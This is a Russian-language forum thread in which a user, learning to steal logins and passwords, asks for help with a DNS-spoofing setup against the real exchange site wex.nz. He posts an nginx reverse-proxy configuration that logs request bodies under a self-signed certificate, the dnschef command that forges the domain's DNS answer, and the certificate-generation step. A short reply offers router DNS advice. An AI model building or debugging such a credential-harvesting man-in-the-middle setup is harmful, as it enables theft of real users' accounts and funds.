• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Решено Dnschef +nginx. Вопрос.

  • Автор темы Автор темы holden_mathers
  • Дата начала Дата начала
  • Теги Теги
    dnschef nginx
H

holden_mathers

Привет. Учусь подменять DNS для перехвата логина и пароля. Возникла проблема.

Имеется два VDS. На 1-ом dnschef, на 2-ом nginx. Хочу подменить сайт wex.nz, так чтобы открывалась оригинался сайт, но при вводе логина и пароля данные сохранялись в логах ngnix.

Есть конфигурационный файл /etc/nginx/sites-available/proxy.conf

Код:
log_format bodylog '$remote_addr - $remote_user [$time_local] '

  '"$request" $status $body_bytes_sent '

  '"$http_referer" "$http_user_agent" $request_time '

  '<"$request_body"';



server {

listen 80;

listen 443 ssl;

ssl_certificate /etc/nginx/ssl.crt;

ssl_certificate_key /etc/nginx/ssl.key;

access_log /var/log/nginx/lc.log bodylog;

server_name wex.nz;

resolver 8.8.8.8;

location / {

  proxy_set_header Host $host;

  proxy_pass https://$host$request_uri;

}

}
Далее указал ln -s /etc/nginx/sites-available/proxy.conf /etc/nginx/sites-enabled/
Больше никаких настроек на nginx не производил.

Для теста на своем роутере указал "Предпочитаемый DNS" 94.*.*.128. Запускаю на 1-ом VDS dnschef командой:
Код:
python dnschef.py  -i 94.*.*.128 --fakedomains=wex.nz --fakeip=82.*.*.19
94.*.*.128 - IP-адрес 1-ой машины (dnschef)
82.*.*.19 - IP-адрес 2-ой машины (nginx)

Результат:
1.jpg


Если судить по логам выше то подмена работает (wex.nz открылся без помех, после этого сразу же появились логи) , но при указании логина и пароля данные на записываются в /var/log/nginx/lc.log (файл не создается).

И еще перед запуском nginx генерировал ключ для поддержки ssl-сессии:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl.key -out /etc/nginx/ssl.crt
ssl.crt и ssl.key лежат на /etc/nginix.
При входе на https:/wex.nz должна появиться ошибка сертификата с кнопкой добавления исключения, но вместо этого сразу заходит на https:// wex.nz.

Возможно проблема с proxy.conf?
 
Последнее редактирование модератором:
Открой настройки своего маршрутизатора и проверь, прописан ли там в качестве DNS сервера твой локальный IP. Если нет, то добавь его и перезапусти весь процесс.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Курс AD